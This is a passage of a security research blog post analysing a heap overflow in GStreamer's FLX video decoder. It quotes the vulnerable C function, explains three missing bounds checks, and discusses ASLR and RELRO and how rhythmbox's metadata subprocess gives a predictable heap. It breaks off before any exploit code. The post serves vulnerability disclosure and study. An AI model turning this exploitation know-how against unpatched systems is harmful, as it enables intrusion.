<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Ubuntu vs. Fedora again</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Back in 2014, I </span><a href="https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">sandbagged by exploiting Fedora</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in preference to Ubuntu because Fedora was easier (which we fixed). In this instance, the exact opposite is true: I decided to exploit Fedora because it is much harder. Ubuntu, even in 16.04, has some problems:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Missing ASLR on many binaries, including security sensitive ones:</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">file /usr/lib/rhythmbox/rhythmbox-metadata</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/usr/lib/rhythmbox/rhythmbox-metadata: ELF 64-bit LSB executable, x86-64</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Generally little use of RELRO. The Fedora exploit was complicated by having to work around RELRO.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In particular, going after this exploit on Ubuntu would have been much much faster due to the missing ASLR. But the point here is to go after a genuinely scriptless exploit in the presence of solid ASLR. So we choose Fedora as our exploitation target.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The vulnerability</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We find the vulnerable decoder code in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst-plugins-good/gst/flx/gstflxdec.c</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, function </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flx_decode_delta_fli()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flx_decode_delta_fli (GstFlxDec * flxdec, guchar * data, guchar * dest)</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* use last frame for delta */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> memcpy (dest, flxdec->delta_data, flxdec->size);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> start_line = (data[0] + (data[1] << 8));</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> lines = (data[2] + (data[3] << 8));</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> data += 4;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* start position of delta */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dest += (flxdec->hdr.width * start_line);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> start_p = dest;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> while (lines--) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* packet count */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> packets = *data++;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> while (packets--) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* skip count */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dest += *data++;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* RLE count */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> count = *data++;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (count > 0x7f) {</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> } else {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* replicate run */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> while (count--)</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> *dest++ = *data++;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The above function is called via a FLX_LC command in the input file. At the time of the call, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dest</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> points to the start of the output canvas buffer, e.g. 8 x 8 pixels and always 1 byte per pixel. </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> points to attacker controlled data from the raw input file.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Unfortunately, it doesn’t take much to see that there’s a complete lack of bounds checking here against the canvas width and height. To get an out-of-bounds write, the attacker simply has to specify a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">start_line</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> value greater than the number of lines in the output canvas (bug 1). Or they could specify a skip count that goes past the end of the last line of the output canvas (bug 2). Or they could specify a write count that goes past the end of the last line of the output buffer (bug 3) (applies both to the literal run and replicate run code paths).</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Absent a CVE, you can uniquely identify this cluster of issues CESA-2016-0004.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The constraints and challenges</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We’ve identified a very powerful heap overflow primitive, with the following properties:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Attacker controls arbitrary number of bytes written, each with an arbitrary value.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Non-linear overflow: attacker can “skip over” a bunch of heap to target a precision destination.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Attacker controls size of allocation that is overflowed out of, thereby offering some opportunities to control where in the heap it goes.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">However, we still need to know </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">what</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to write out of bounds, which is a challenge without script. Absent any nice piece of data to corrupt, such as a string passed to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, or a JIT code buffer, we’re going to need to start messing with pointers. And due to the good ASLR, we can’t directly synthesize a valid pointer value.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In order to try and start gaining a bit of control over the exploitation environment, we turn to the rhythmbox media player. This is the default player on the desktop for various audio formats. The rhythmbox / gstreamer combination has some very intriguing (and useful!) properties:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">No-one really cares about the file extension. So if you put a video file inside a file with an audio file extension, it’ll get processed according to the content and not the file extension.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The metadata for a media file is fully scanned, even if it is a video file and not an audio file.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rhythmbox does its metadata scanning in a </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">new, fresh subprocess</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> -- </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rhythmbox-metadata</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This results in very clean and predictable heap layouts. Also, if our exploit messes up and crashes, the parent rhythmbox process and UI are largely unaffected.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gstreamer decoders typically start off in their own fresh thread, which gets its own fresh thread heap under the modern Linux glibc allocator.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We’ve got enough to fight through without worrying about heap layout, so using rhythmbox to get us a passably deterministic heap setup is a great start.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Unfortunately, using </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rhythmbox-metadata</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> carries one huge challenge: because it is just extracting metadata from a media file, it only runs the decode loop for just 2 frames. If the amount of work we can do per frame turns out to be limited (and it does!), we have very little opportunity to complete an exploit, or rewire the decode loop to run longer.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The exploit: primitives used</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
